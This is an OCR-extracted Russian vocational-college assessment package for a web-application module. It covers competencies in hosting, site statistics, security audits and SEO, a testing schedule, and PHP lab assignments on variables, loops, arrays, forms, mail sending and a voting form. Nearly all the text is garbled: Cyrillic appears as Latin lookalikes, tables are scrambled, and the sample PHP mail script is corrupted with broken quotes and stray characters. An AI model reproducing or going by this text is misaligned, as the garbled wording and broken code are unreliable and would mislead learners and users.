CPEICTB il 0O0pabOTKM HMCXOJHOTO TEKCTa MPOrpPaMMHOTO
KOJa.

PernameHT MCnosib30BaHuUsl CUCTEMBI KOHTPOJISI BEPCUM.
[TpeameTHy0 00J1aCTh MPOEKTA JIJIs1 COCTABIICHUS TECT-TNIAHOB.

SPrOHOMUKHU

TCCTUPOBAHUA

1K 9.6.

Pa3zmemars BeO
NPUIOXKEHUS B CETH B
COOTBETCTBUU c
TEXHUYECKUM
3aJaHUEM.

IIpakTHYecKHi ONBIT:
[Iy6nukoBaTh BeO-TpHIIOKEHUST Ha 0a3e XOCTHHTa B CETH
HuTtepner.

YMenus:

BbiOuparh XOCTHHT B COOTBETCTBHHM C IapaMeTpaMu BeO-
npunokeHns. COCTaBIATh CPaBHUTEIBHYIO XapPaKTEPUCTHKY
XOCTHHIOB.




3HaHuA:

XapaKkTepUCTUKH, TUIIBI U BUJIbI XOCTHHIOB.

Mertob! u criocoObl iepeaaun nHpopManuu B cetu MIHTepHeT.
YcTpoiicTBO U pabOTy XOCTUHI-CUCTEM.

[1IK 9.7.

OcymecTBiate  cOop
CTaTUCTHYECKOI
uHpopmanuu o pabote
BEO-TIPWIIOKEHUN ISt
aHajan3a
a3 exTuBHOCTH

paboTHI.

€ro

IIpakTHYecKHii ONBIT:
Peanu3oBeiBaTh  MepompuATUA 110
NpUiOKeHui B cetu MHTEpHET.
CoOuparb u IIPEBAPUTEIBLHO AHAJIN3UPOBATh
CTAaTHCTUYECKYIO HHPOPMAITHIO 0 paboTe BeO-IPHUIIOKEHUH.

MPOJIBIXKCHHUIO  BEO-

Ymenus:

HOI[KJHO'—IaTB U HacTpanBaTb CUCTCMbl MOHUTOPHHTA pa6OTBI
BeG-npunoxenuii u cOopa CTaTUCTUKU €r0 UCTIOIb30BaHUSI.
CocCTaBIISITh OTUYET 10 OCHOBHBIM ITOKA3aTEISIM UCIIOIL30BAHUS
BeG-npunoxxenuit  (peWTUHT, HCTOYHUKM H TIOBEJICHHUE
M0JIH30BaTENICH, KOHBEPCHS U JP.).

3HaHuA:

OcHOBHBIE TOKa3aTeNM HUCIOIb30BaHUS BeO-mpriioskeHnit u
CIIOCOOBI NX aHAJIH3A.

Buasl m Meroapl pacdera HMHIEKCOB HUTHpyemocTH Be6-
npunoxenuid (TUL[, BUIL).

I1K 9.8.

OcylecTBisiATh  ayauT
0€30I1acCHOCTH BEO-
TIPHTIOKEHUS B
COOTBETCTBUU c
periaMeHTaMu o
0e30IMacHOCTH.

IIpakTu4eckuii ONbIT:
ObecneunBaTh Oe30macHyro U 6ecrepedoiiHyro padorTy.

Ymenus:

OcyiecTBIATh ayauT 6€30MacCHOCTH BEO-TIPUIIOKEHUH.
MoaudunupoBaTs BeO-TPUIOKEHHE C IEIbI0 BHEIPEHUS
MPOrpaMMHOTO KOJa MO oOOecreueHuto Oe30MacHOCTH €ro
paboTHI.

3HaHun:

Ucrounuku yrpo3 uHOpMAIMOHHOW O€30MaCHOCTH U MEPHI
10 UX MPEJOTBPALLECHHUIO.
Pernamentsl u MeTOmBI
IIPUIIOKEHUH.

pa3paboTku 0Oe30macHbIX BeO-

I1K 9.9.

MonepHu3upoBarth BeO-
NPUIOKEHUE C YYETOM
IPaBUIT " HOPM
HOJTOTOBKH
uH(popMalun
MOUCKOBBIX CUCTEM.

ittt

IIpakTH4YecKuid ONBIT:
MonepHHu3upoBaTh BEO-MPHUIOKEHUS C YUETOM IIPABUI U HOPM
TTOATOTOBKM MH(POPMAIIUU JJISI TOUCKOBBIX CHCTEM.

Ymenus:

MoaudunupoBaTh KOj BEO-IPUIOKEHUSI B COOTBETCTBUU C
TpeOOBAaHUSMU U pErilaMEHTaMH MOUCKOBBIX CHCTEM.
Pa3memnate TekcTOByH0 u Tpaduueckyr HHOpMaNUiO Ha
CTpaHUIaX BeO-TIPUITOKEHUSI.

PenaktupoBate HTML-k0q ¢ HCHONB30BaHUEM CHUCTEM
aAMUHUCTPUPOBAHMUSL.
[Iposepsate HTML-kox Ha
CTaHJapTaM.

COOTBETCTBHUE  OTpPaCIICBBIM

3HaHuqa:

OcobeHHOCTH paboOThI CHCTEM YIPaBJICHUS caliTaMu.
[IpuHnunel  QYHKIIMOHMPOBAHUS TIOMCKOBBIX CEPBHCOB U
OCOOCHHOCTH ONTUMM3AMK BeO-npuinoxkeHnid TOoJ HUX
(SEO).

MeTtoasl onTUMH3AUU BeO-NpuinoKeHnid Mmoj COoluaIbHbIE
menua (SMO).

1K 9.10.

Peanu3oBriBaTh
MEPOTIPUITHS 10
MIPOIBUIKCHHIO BeO-

IIpakTHYecKHi ONBIT:
Peanu3oBeiBaTh  MepompuATHA 110
IIpUJIOKEHUN B cetu MIHTEepHeT.

MPOJIBIXKCHHUIO  BEO-




npuioxenuid B cetu | Cobupartb u MpeIBapUTEILHO aHAIN3UPOBATh
WNuTepHer. CTATUCTUYECKYIO HH(POpMAIHIO 0 paboTe BeO-TIPUIIOKEHUH.
Ymenus:

[loaxmoyaTe U HaCTpauBaTh CUCTEMbl MOHUTOPUHIA PabOThI
Be6-npunoxxenuit u cOopa CTaTUCTUKU €ro UCTIOIH30BAHUSI.
PaGorats ¢ cucreMaMu IpOABMKEHUS BEO-TIPUTIOKEHUI.
[TyonukoBaTth  WHGOPMAIMU O  BEO-TIPUIIOKEHUU B
CHeIHaJIbHBIX CIPABOYHHUKAX U KaTajorax.

OcymiecTBIATh MOA00P M aHAJIU3 KIFOYEBHIX CJIOB U (pa3 s
COOTBETCTBYIOIIEH MpPEeIMETHONW 00JacTU C HMCIOJIb30BAHHEM
CIEMATIM3UPOBAHHBIX IPOTPAMMHBIX CPEJICTB.

CocTaBnATh TEKCTHI, BKJIIOYAIOLINE CCHUIKHU Ha TPOABUTaEMBIii
CalT, I pa3MEILEHUs Ha CalTax IapTHEPOB.

OcCylecTBIATh ONTUMU3ALMIO BEO-TIPUIIOKEHUSI C IIEJIBIO
MTOBBILIEHUS €r0 PEUTHHIa B CETU UHTEPHET.

3HaHun:

[Ipunuune! GyHKIMOHUPOBAHUS TOMCKOBBIX CEPBHUCOB.

Bunet u mMerombl pacuera HMHIEKCOB LIMTUPYEMOCTH BeO-
npuinoxenuit (TUL, BULT).

Crpateruu npoABHKEHUs BeO-pUIokKeHH B ceTn MHTEepHEeT.
Buibl NOMCKOBBIX 3aIIPOCOB MOJIb30BATENEH B UHTEPHETE.
[IporpamMmHuble cpenctBa W miaat@opmbl Ui mojxdopa
KITFOUEBBIX CIIOBOCOYCTAHUM, OTPAKAIONIUX CIEIUPUKY caiTa.
WuctpymenTsl c6opa 1 aHann3a NOUCKOBBIX 3alPOCOB.

1.3. Tloka3aTeqnm OLEHKH Ppe3yJabTaTOB o00yueHuss mo mpodeccuoHaibuomy wmoayao I1M.03
IIpoexTupoBanue, pa3padoTka U ONTUMH3ANNS BeO-NPUJIOKEHUI

HaumenoBanue
Coaepixanue PesyabTaTsl
npogeccuoHaIBLHOI0 00yueHus Bua koHTpoJIs OUCHOMHOTO
Moy (OK, ITK, JIP) cpencTBa/gopma
KOHTPOJIs
M/IK.03.01 ITpoekTHpoBaHue 1 pa3padoTka Bed-NPHJI0KEHU N
5 ceMecTp
Tema 3.1.1 OK 01. - 09. IIpoBepka BBIOIHEHUS
Pa3zpaboTka cereBbIx 1K 9.1.-9.6 P WHIUBHTYJIBHOTO
MIPUIIOKEHU N JP1,2,7,9, 13, 16- ym 3a7aHus. Y CTHBIM ONpocC
18, 21-25
Tema 3.1.1 OK 01. - 09. KonTtponbHas padora
1K 9.1.-9.6 n .
P 1.2.7.9, 13, 16- POMEXYTOTHBIH
18, 21-25
6 cemecTp
Tema 3.1.1 OK 01. - 09. IIpoBepka BBINOTHEHUS
Pa3paboTka ceTeBbIx IK9.1.-9.6 Texymmit MHAMBHAYATILHOTO
S — JP1,2,7,9, 13, 16- 3aJaHus. Y CTHBIM
18, 21-25 oTIpoc.
Tema 3.1.1 OK 01. - 09. 3ammra KypcoBoit
1K 9.1.-9.6 n . paboThI, JK3aMeH
P 1.2.7.9, 13, 16- POMEKYTOYHBIT
18, 21-25
MJIK. 03.02. OnTumu3anus Bed-nMpuJIoKeHuii
7 cemecTp




Tema 3.2.1 Metonbt OK 01. - 09. IIpoBepka BBIIOTHEHUS
OIITUMU3ALINU BEO - IIK 9.7, IIK 9.9, IIK WHIUBHIYJIBHOTO
MPUIOKEHUN 9.10 Texymuit 3aJaHus. Y CTHBIA OIIPOC
JP1,2,7,9,13, 16-
18, 21-25
Tema 3.1.2 OK 01. - 09. KoHTtposnbHas pabota
1K 9.1.-9.6 n .
JP1,2.7.9, 13, 16- POMEXKYTOUHBIT
18, 21-25
8 cemecTp
Tema 3.2.1 Metonbl OK 01. - 09. IIpoBepka BbIIOIHEHUS
OIITUMU3ALIUA BED - IIK 9.7, IIK 9.9, IIK WHIUBHIYaJIBHOTO
MPUIIOKEHUN 9.10 Texymuit 3a1aHus. Y CTHBIA OIIPOC
JP1,2,7,9,13, 16-
18, 21-25
Tema 3.2.1 OK 01. - 09. 3a4eT ¢ OLEHKO
IIK 9.7, TIK 9.9, TIK
9.10 [IpomexyTouHbIi
JP1,2,7,9,13, 16-
18, 21-25
MJIK. 03.03 O6ecnieuenue 6€30MaCHOCTH BeO-MPUII0KEHHI
7 cemecTp
Tema 3.3.1 OK 01. - 09. [IpoBepka BBIIOJIHEHUS
Texunonoruu 1K 9.8 WHIMBUIyaJIbHOTO
obecrnieueHUs JP1,2,7,9,13, 16- Texymmit 3a7aHus. Y CTHBIM OIpoc
0€e30MacHOCTH BEO- 18, 21-25
IIPUIIOKEHUN
Tema 3.3.1 OK 01. - 09. KontponbHas padota
1K 9.1.-9.6 n .
P 1.2.7.9, 13, 16- POMEXYTOTHBIT
18, 21-25
8 cemecTp
Tema 3.3.1 OK 01. - 09. IIpoBepka BBIOTHEHUS
TexHonmoruu K 9.8 WHIUBUTYaJIbHOTO
obecrnieueHUs JP1,2,7,9, 13, 16- Texymuit 3a/1aHus. Y CTHBIA OIIpOC
0€e30MacHOCTH BEO- 18, 21-25
MIPUIIOKEHUN
OK 01. - 09. 3a4er ¢ OLEHKOM
Tema 3.3.1 P 1, 21:1 I7<’ 99"813’ 16- [TpomexxyTouHbIN
18, 21-25

Cucrema KOHTPOJIA U OUHCHKHU PE3YJbTATOB OCBOCHUSA NMPAKTHYECCKOI'O OnbITAa, YMeHI/Iﬁ H YCBOCHHUSA

3HAHUH

B cootBercTBUM C ydueOHBIM MIaHOM MO mpodeccruoHambHOMy Monyao [IM.03IIpoexktupoBanue,
pa3paboTka ¥ ONTUMM3AIMS BEO-TIPUIOKEHUIN MPETyCMOTPEH TEKYIIMH KOHTPOJIb BO BpPEMs MPOBEIEHUS
3aHATUI U MPOMEXYTOUHAas arrectauus B (opme nudhepeHIMpOBaHHOTO 3a4eTa, KypcOBOTO MPOEKTa, C

BBICTABJICHEM HTOT'OBOM OIICHKH 3a BEChb KYypC.

2. 3agaHus /151 KOHTPOJISI M OLIEHKH Pe3yJIbTATOB OCBOEHHS MPAKTHYECKOI0 ONbITA, YMEHUI 1

YCBOCHUSA 3HAHUM

3aoanus Onsi KOHmMpONSL U OYEHKU pe3VIbmamos OCB0€HUs NPAKMUYECKO20 ONnblmd, YMeHUll U
YCBOEHUS 3HAHUIL NO YY4eOHOU NPaKmuKe u no NPOU3800CMBEEHHOU NpaKkmuke (no npoguiio cneyuanbHoOCmu)

npeocmasiienvl 8 NPO2PAMMAX NPAKMUK.
2.1.3apanus 1Is TEKYIero KOHTPOJIs




IIM.03ITIPOEKTUPOBAHME, PASPABOTKA Y OITUMU3AIIMSA BEB-TIPHJIOKEHUIA
MJIK.03.01 TIPOEKTUPOBAHME U PA3PABOTKA BEB-IIPHJIOKEHU
Tema 3.1.1 PazpaboTka ceTeBbIX NPHJIOKEHU I

Jladoparopnasi padora 1 «Co31aHue cepBepHBIX ClieHAPHEB C UCIOJIb30BaHueM TexHoioruu PHP»
[lenb: n3yyeHne OCHOBHBIX KOHCTPYKIUH s3bIka PHP.
XOJ PABOTHI:
3aganue Ne 1. M3yuute kxoHcTpykuuu ss3sika PHP, omneparopsl mpucBamBaHus, omneparopsl BbIBOAA.
[TonroroButhk B biiokHOTE WK B J1I0OOM TEKCTOBOM pPEAAKTOPE MPOrpaMMy, BBITOJHSAIOIIYIO CIEAYIOIIHe
JIEUCTBUS:

eco3maTh TPHU TMEpeMEeHHble C Ha3BanueM ToBapoB (Sproductl, S$product2, S$product3) wu

COOTBETCTBYIOIIIME UM IepeMeHHbBIC ¢ IIeHOH ToBapoB ($pricel, $price2, $price3), BrIBECTH MX HA IKPaH;

® paccuuTaTh U BBIBECTU CPEIHIOIO LIEHY TOBapa.

[TpumepHBIii BUJT BEIBOJA HAa SKpaH pe3yibTaTta paboThl IPOrpaMMBI IIPEICTABICH HA PUCYHKE.

yadHuE == 300pyh
Kodeiinux == 150pyb
KHIATHIRHUE == 270pyb

CpenHad neHa Topapoe=240pyh

[IpoTectupoBaTh nporpamMmy ¢ pa3jIMYHbIMU 3HAUEHUSMH [1€PEMEHHBIX.
Od¢opMuth BBIBOJ JAaHHBIX O TOBapax B BuJe TaOnuubl. Hanpumep, kak nokasaHo Ha pUCYHKE.

Torap [{ena
qaiiHUK 1503
Kodeitank 1120

KUNATIWIBHUK 220

cpensag nena 1311.50 pyo.

Jns ohopmiteHust TaGIUIBI HOMECTUTh TATHM TabIMIIBI B oriepaTop BeiBoja (echo uimu print). HoBblil BapranT
IIPOTPaMMBbI COXPAaHUTH B (haiiie ¢ IpyruM UMEHEM.

Hcnonp3oBare qyig tabnuuHoro BeiBoga HTML Gnoku. [ BeIBOAA NMEpeMEHHBIX B TATM HEOOXOIUMO
BKJIIOUUTH parMeHTsl IporpaMmbl. COXpaHUTh (aili.

3ananue Ne 2. M3yuuts ycrnoBHble HHCTpYKLUH if, else, elseif. [IonroToBUTh mporpamMmy Jist onpeaesieHus
CaMoTO JIOPOTOTO U3 TPEX TOBAPOB. 3a OCHOBY B3AThH (haiis1 u3 3aganust 1. CpaBHUTH IIEHBI TOBAPOB U BHIBECTH
HalMEHOBAaHME M IIEHYy caMmoro nopororo toBapa. COmpoBOJIUTH BBIBOJ pPE3yibTaTa COOTBETCTBYIOIIUM
COOOLIEHNEM.

CpaBHMTH IIEHY IEpBOrO TOBapa C IIEHAMU BTOPOrO W TPEThero ToBapoB. Ecim oHa okaxercs Ooiblie
yaiiguk == 300pyb
kodeiinux == 150py6
KUIATHIEHHE == 260pyh

caMui goporod yaimmk (oH cTouT S00py6 )

copMupOBaTh BCIIOMOTaTENbHYIO IIEpEeMEHHYI0, HanpuMmep $max_prise, paBHyIo0 IIleHE IEPBOTO TOBapa H
$max_ product, paBHyr0 HAUMEHOBAHHUIO IEPBOI'O TOBapa. B POTUBHOM cily4ae CpaBHUTH LIEHBI BTOPOTO U
TPETHEro TOBApOB (MCIOJIb30BaTh KOHCTPYKIHIO elseif u else) u 3anmucaTh Bo BcrioMorareibHbIE IIEPEMEHHbBIC
COOTBETCTBYIOIIME JaHHBbIC. BbIBecTH BcromorarenbHble NepeMeHHble. [IpoTecTupoBaTh HpoOrpaMmy c
Pa3IUYHBIMU 3HAYEHUSMHU NIEPEMEHHBIX.

Onpenenuts TOBap ¢ MUHUMAIbHOM LIEHOM. PemnTe 3amady, MeTooM "BBITECHEHUS'", UCIIONB3Ys TOJIBKO
koHcTpyknuio if. Bo BcmomorarenbHble nepeMenHble $max_prise m $max  product cpa3y 3amucars gaHHbBIE



o mepBoMm ToBape. IlocnenoBaTenbHO CpPaBHUTH IIEHBI BTOPOTO W TPETHETO TOBAPOB CO 3HAYECHHEM,
3almicaHHbBIM B repeMeHHo $max prise (koHcTpykims if). Ecnm 1ieHa okakeTcs MeHbIE 3HAYCHUS
3allMCAaHHOTO B TNepeMeHHoi $max prise, mepeonpenenuTh nepeMeHHble $max prise m $max  product.
[IporecTupoBaTh IporpamMmy ¢ pa3InyHbIMUA 3HAYEHUSIMU [IEPEMEHHBIX.
3apnanue Ne 3. M3yuuth matepuanbsl o padote ¢ GyHkmusamMu. OdopMuUTh perieHue 3a1aun 3aaaHus 2 ¢
MOMOIIbI0 (DYHKIIMH, OMPEACISIONEH ToBap ¢ MaKCUManbHOW IeHOW. DyHKIMS JOKHA MMETh IIECTh
dbopManbHBIX BXOAHBIX IMAPAMETPOB: TPHU IEPEMEHHbIC, XpaHSAIIME HAUMEHOBAHHS TOBAapOB, U TpPH
NepEeMEHHbIE, 33/1aI0IHe X CTOMMOCTh. BBIBOJ HCKOMBIX JJAHHBIX MPOU3BOAUTH BHYTpU ¢GyHKuuu. [locne
onucanus QyHKIMHU BbI3BAaTh €€ HE MEHee TPEX pa3 C pa3IUYHbBIMU 3HAUCHUAMHU (DAKTUUECKUX ITapaMETPOB.
[oxroroButs Qaiin, odecreynBarOmUii MPOBEPKY MPABUIBLHOCTH BBOAA mapois. [leiicTBus Mo mpoBepke
1apoJIsl TOJKHBI BBITOJIHATHCS C MOMOIIBIO MOJIb30BATEIBCKON (PYHKIIUU C OJHUM BXOIHBIM apryMEHTOM.
OyHKIUS TOJDKHA CPAaBHUBATh MapoJib, 33JaHHBIA BHYTpU (YHKIMH, C MApoOJieM, MEpeJaHHbIi el uepes
aprymenT. Pe3ynbrar cpaBHeHMs BbIBeCTH B BHUJie TeKcTa: "[lapons BepHbiit" mnm "Omubka B maposie”. BeiBog
COOOIICHUS TOIDKEH MPOM3BOIUTHCA BHYTPH Tena GyHKUuHU. [IpoTecTHpoBaTh mporpamMmy ¢ pasIddHbIMUA
3HAYEHUSIMU TapOoJIsl.
MouunmupoBats MporpaMmy Tak, YTOOBI BEI30B (DYHKIIMHU BBITIOJHSJICS B onepaTope BeiBojaa. Hampumep,
ecnu uMsi pynkuuu control($p), To ee BbI30B: print control("1234"). BHyTpu Tena (GyHKIMH HCIIOJIB30BaTh
MHCTPYKLUIO return.
3apnanme Ne 4. M3yuuts MaTepuaiibl, oTHOCsUMEC K opranu3auuu uukioB B PHP. IloaroroButs Tekct
IpOrpaMMBbI JJIsl pellieHus ciaeayromei 3anaun. Ilycts croumocts ToBapa paBHa 100 p. B Hayasie TEKYIIEro
roga. [IpoueHt uHbmsIUMM B 3TOM ToAy mo mporHo3am coctaBut 10 %. B mocnenyroomue roabl
MIPOTHO3UPYETCS yBEIMUEHUE nporieHTa nHpsauun Ha 3,5 % B roa. C moOMOIIbI0 MUKIUYECKON TPOrpaMMbl
BBIBECTHU MPOTHO3UPYEMYIO CTOMMOCTbD TOBapa K KOHILY TEKYILETO I'oJla U B nocieayomue rogsl. [Ipekpatuts
pacueTsl, Kak TOJIbKO CTOMMOCTH ToBapa npeBbicHT 150 p. Mcnonbs3oBats ki while.
Pemuth Ty ke 3amauy ¢ momolnpio 1ukiaa for. BeiBecTH MpOrHO3MpyeMyr0 CTOMMOCTh TOBapa K KOHILY
TEKyIero rojga W B mocienyromue 5 ner. BeiBom odpopmuts B Buae tabmunsl 'O => [HEHA =>
NHOJALNA. Momudunuposats ¢daiin st pemieHus cienyroomend 3anaun. [lycThb mpu JAOCTHXXKEHUU
croumoctu ToBapa 170 p., uHGIAUMA HAYHET CHUXKAThCA Kaxabld roa Ha 3,5 %. CoporHo3upoBaTh
CTOMMOCTB TOBapa uepe3 10 ner.
3aganue Ne 5. V3yunth ocHOBBI paboThl ¢ MaccuBaMH. [10ATOTOBUTH TEKCT MPOTrpaMMbl, BBIMOIHSIOLIEH
CIEAYIOLIME IECUCTBUA:
®Co3JaTh CIHCOK (MHJEKCHPOBAHHBIM MacCuB), COCTOSUIMM W3 MATH HAMMEHOBAaHUN TOBAapoOB C
nomouieio GyHKIuy array();
® 100aBUTH €I11e He MEHEee JIBYX JIEMEHTOB MacCHBa € MOMOIIbIO HIEHTU(PHUKATOpa MACCUBA;
® ONIpPE/IENTh KOJIMYECTBO IJIEMEHTOB MacCUB, MCIONb3Yys (YHKLHIO count(), ¥ BBIBECTH Ha3BaHUs
TOBapoB B 1uKJe for.
[IpoTtectupoBaTh paboTy MPOrpaMMBbI C pa3IMYHBIM KOJUYECTBOM 3JIEMEHTOB MAaCCHBA.
MonudunupoBarb nporpaMMmy, 100aBUB COPTHPOBKY MaccuBa B alipaBUTHOM MOpSAKE HAaMMEHOBAaHUM
TOBapoOB (KCII0JIb30BaTh (PyHKIIHIO sort). BeIBecTH Ha SKpaH UCXOIHBIA MAaCCHUB U PE3yJIbTAaT COPTUPOBKHU.
3ananue Ne 6. [lonroroButh mporpammy jisi 00paOOTKH acCOMAaTUBHOTO MaccuBa. [IporpamMma momxHa
o0ecrieunBaTh Cieayrolee:
e co3nath accouuaTuBHbIM MaccuB: TOBAP => IIEHA, rae Ha3zBaHue ToBapa — 3TO KJIIOY (MHIEKC)
MaccHBa, a LIeHa — 3HaYEHUS JIEMEHTOB MaCCUBa;
® MacCcHB JOJDKEH COJepXkaTh HE MEHE ISITH 3JIEMEHTOB, TPH W3 HMX 3aJaTh C MOMOIIBIO (YHKIIUU
array(), a OCTaJIbHBIE 33/1aTh HEMOCPEICTBEHHO B ONEPATOPE MPUCBANBAHUS;
® BBIBECTH TOBAPhI M MX IIEHBI, HCTIOJIB3Ys onepatop Iukia foreach().
[IporecTupoBaTh paboTy MpoOrpamMmbl C Pa3IWYHBIM KOJIMYECTBOM 3JIEMEHTOB MaccHBa, JOOABUB HX
JTF0OBIM CITOCOOOM.
MonudunupoBars nporpaMMy Jjsl pelieH s cleAyOIuX 3a1ay:
® [10ICUNTATh KOJIMYECTBO TOBAPOB U UX CYMMapHYIO CTOUMOCT;
® OTCOPTUPOBATh MacCHB:
—B TIOpsiAKe yObIBaHUS (BO3pacTaHwusl) IIEHBl TOBapa M BBIBECTU HA dKpaH. Mcmomb3oBaTh QyHKIUN
asort() u arsort().
—BBIMIOJTHUTh COPTUPOBKY MAacCHUBa TaK, YTOOBI TOBaphl (KIIOYH) PACIOJIOKHIINCH B al(aBUTHOM
MOPSIAKE JJIST Yero UCIonb30Bath Gpyukiuu ksort() v krsort().



3aoanue Ne 7. Coznaiite php-CKpHUNT, BRIBOJSIINI CTpaHUIlY ¢ (hOPMATUPO-BAaHHOM CPEICTBAMHU Pa3METKU
HTML undopmarueii o Bac Kak o pa3padOTUHKE.

3aoanue Ne 8. Co3zpaiite php-cKpunT, reHEpUPYIONUNA CTPAHUILY C TaOJIH-1Iel OCHOBHBIX 11BeToB HTML.
VkazaHusi: MHTEHCUBHOCTH KPAacCHO-TO, 3€JIE€HOTO M CHHETr0 IBETOB IMPUHUMAIOT IIE€CTHAATePUUHBIC
sHadenus 00, 33, 66, 99, CC, FF. [Ins npeoOpazoBaHus MEXKIy ACCI-TUYHBIMA M IIECTHAAIATCPUUHBIMU
YHCJIOBBIMH 3HaYCHUSMH HC-TIOJIb3YyiiTe cTanaapTHele pynknun dechex, hexdec.

3aoanue Ne 9. PeanuzyiiTe CKpUIIT, TEHEPUPYIOIINNA U BBIBOJIAIINN B Opay-3ep ciaydaliHbIe yhcia 10 TeX 1op,
oKa MX CyMMa HE CTaHeT OOJibllie WM paBHA 3aJaHHOTO 3HadeHus $n. VkazaHue: IS TeHEpaluu
TICEBJIOCTYYAHOTO LEJIOTO YKCia, MPUHAUISKAIIETo quamna3ony [$min,$max], ucrons3yiite cTaHIapTHYIO
¢ysknuro rand($min,$max).

JlaGopaTopHas padora 2 «O0padoTka J1aHHBIX Ha opme»

[lenn: n3ydeHne OCHOBHBIX KOHCTPYKITHH si3pika PHP m1st paGotsl ¢ hopmamu.
XOJ PABOTBI:
3aganue Ne 1. VM3yuuTh Marepualbl, COAEpsKallie TEOPETUUYECKHE CBEIACHHS 00 opraHu3anuu paboThl C
dbopmamu B sizpike PHP.
3aganue Ne 2. [IoAroTOBUTH TEKCT MPOTPAMMBbI, BBITOIHSIONICH CIEAYIOINE TeHCTBUS:
co3mark html-mokyment, comepxkamuii ¢popmy ¢ momsimu D.UM.O., Anpec, Email, ITapons u mepenarsb
BBEJICHHBIC JaHHbIE /17151 00paboTKu php-mporpaMMe —1js BBIBOJA TaHHBIX Ha SKpPaH.
[IporectupoBate paboTy nporpammsl. Pemuts Ty e 3a7ady, HO C IOMOILBIO OAHOIO (haiina.
[TpoBepuTh pabOTOCIOCOOHOCTH MIPOTPAMMBEI.
3apnanme Ne 3. IloaroroButh mporpammy Juisl pelieHUs aHAJIOTMYHOW 3aJa4yM, HO MPOBEPSIONIEH Mapoib
MOJIb30BaTeNsl, BBOJUMBIA depe3 moiie ¢GopMbl. 3HaAUCHUE MPABUIBLHOTO MApOJIsl 33/JaeTCs BHYTPU TEKCTa
nporpamMmMbl. COXpaHHUTh TEKCT IPOTPaMMBI B (haiiiie ¥ MPOTECTUPOBATH €e.
MoaudunupoBath IporpaMmmy Tak, YToObI B CIy4ae BBOJA MPABHIBHOTO MapOJIsi, IPOUCXOIMII MIepexo Ha
Jpyro# ¢aisl ¢ TEKCTOM M03paBIICHUSI.
3ananue Ne 4. [TonrotoButh (ailsn A7 OTHPABKU IEKTPOHHOTO nuchbma. Dailn 1omkeH coaepxarb Gopmy,
B KOTOPOM pacriosokuTh 4 3JIeMEHTa C COOTBETCTBYIOIIMMH KOMMEHTapUSIMHU:

® TEKCTOBOE MoJie (text) c MeHeM to;

® TeKCTOBOE Moie (text) c mMeHeM subject;

® TEKCTOBYIO 00J1acTh (textarea) c UMEHEM message;

e KkHOTIKA (submit) ¢ umenem mail ok.
Hannsie u3 ¢popmel nepeaatrs merongoM POST ckpunty, ¢ pyHKkuMeld oTHpaBKH COOOLIEHUS U MPOBEPKOI
IIPABWJIBHOCTH OTIPABKH MMHACHMA.
Tosacnenus k npoepamme omnpasinenuss 21eKmpoHHO20 NUCbMA
Jnst mpoCcTOTH 00PabOTKHU TaHHBIX, MOTYYEHHBIX U3 ()OPMBI, HA30BEM COOTBETCTBYIOIIHME IepeMeHHbIe: $to,
$subject u $message. 3areM nHHOPMAIIHIO U3 ITHX TIEPEMEHHBIX OyeM HCITOIB30BaTh IS OTIPABKH MHChMa
Ha ajipec e-mail, yka3aHHBIH B mepeMenHoi $mail.
OTtmpaBka mUChMa IPOU3BOAUTCS C MOMOIIBIO PyHKITMH mail():
bool mail ( string $to , string $subject , string $message)
Oynknua Bo3spamaer 3HaueHne TRUE ecim nmoura otnpasiiena u FALSE B npotuBHOM citydae. Tak xak
npu paboTe ¢ JTOKaJTbHBIM XOCTUHIOM OIIpaBKa MUCbMa He ITPOU3BOIUTCS, TPOBEPKY MPABUIILHOCTH MEpeaayun
MMChMa MOYHO BBITIOJTHUTH C IMMOMOIIBI0 orniepaTopa If 1 BIBeCTH COOTBETCTBYIOIIEE COOOIIEHNE Ha 3KPaH.



Ilpumep
nucoMa

npozpammuvl Ol OMNPABKU  INEKMPOHHO20

3apanme Ne 5. Hamucate mnporpamMmy-KalbKyJsTop,
KOTOpasi MO3BOJIUT IOJIb30BATENIIO MepeiaTh [Ba Yuclia U
yKa3arh apuPMETHIECKYIO ONEPAIINIO, BHITIOTHIEMYO HAJl
HUMU.

3ananue Ne 6. PeannsoBath BBOJ M 00pabOTKY aHKETHI
nosib3oBarens. dopMa aHKEThl 3aMONHAETCS Ha OIHOU
CTpaHHIIe, CKpUNT-00paOOTYMK, pEaJM30BAHHBIA B
OTJIIeIbHOM (aiisie, mpoBepsieT MPaBHIbHOCTD 3aI0JHEHUS
BCEX MOJIEW W JENaeT BbIBOJ HAa OCHOBE MPEACTABICHHOU
uH(popMaluu (HampuMep, BRIYUCISIET KOJTUYECTBO SI3bIKOB
pOorpaMMHUPOBaHUsl, KOTOPbIE 3HAET I0JIb30BATEllb,
ompezeNsseT ero BO3pacT B rojax IO BBEIEHHOW jaare
POXKICHUS U T.I1.).

3ananme Ne 7. PeanuzoBaTh TecT u3 3—4 BOINPOCOB C
HECKOJBKMMHU BapuWaHTaMU OTBETa Ha KaXKIbI BOIPOC,
IpelyCMOTPETh HauucieHue OauioB 3a BbIOpaHHBIC

<?
$go=%$_POST['mail_ok'];
if('Sgo)

{

?>

HTML-kog cdopmbl ANg HanncaHUsa nucbma

<?}
else
{
$to=$_POST['to];
$subject=3%_POST['subject];
$message=%$_POST['message'l;
$mail=mail($to,$subject, Smessage);
if (Smail==TRUE)

{echo "lMncbmo oTnpasneHo";}
else

Kecho "He yaanock oTnpasuTs";}

}

7>

IMOJI30BATCJICM BapHWaHTBI OTBETA. B KOHIEC TCCTHPOBAHUA, B 3aBUCHUMOCTH OT KOJIMYCCTBA Ha6paHHI)IX

6aJ'IJ'IOB, BBIBCCTH PE3IOMC I10 TECTY.

Jlaboparopnasi padora 3 «Opranusauus (paii;i0Boro BBoAa-BbIBOAA)
[enp: n3yueHne OCHOBHBIX KOHCTPYKIHH si3bika PHP miist opranusanuu ¢aiinoBoro BBOa-BHIBOA.

XO/Jl PABOTBI:

3apanmne Ne 1. M3yunTs Marepuaisl, coAepKallue TEOPETUUECKUE CBEIEHUS 00 opraHu3anuu (aisioBoro

BBOJIa-BbIBOJA B s13bIKe PHP.

3apanmne Ne 2. Co3path nporpammy Ui IpOBEIEHUS ONIPOca — FOJIOCOBAHUS 110 OLIEHKE KaKOro-TO TOBapa
win mMeponpusitus. Cozaats ¢popMy JUIs TorocoBaHus ¢ BorpocoM "Kak Bbl olleHuBaeTe Haml Marasun?" u

BapUaHTaMH OTBETOB B Bu/e radio-button.

Kaxk pBI onjeHIE e Te Hall
MarazaH?

* or/OTYHO

" xopouo

" yIOBRJIETEOPHTEJILHO
" mmoxo

NMROronNocoeaTkb I

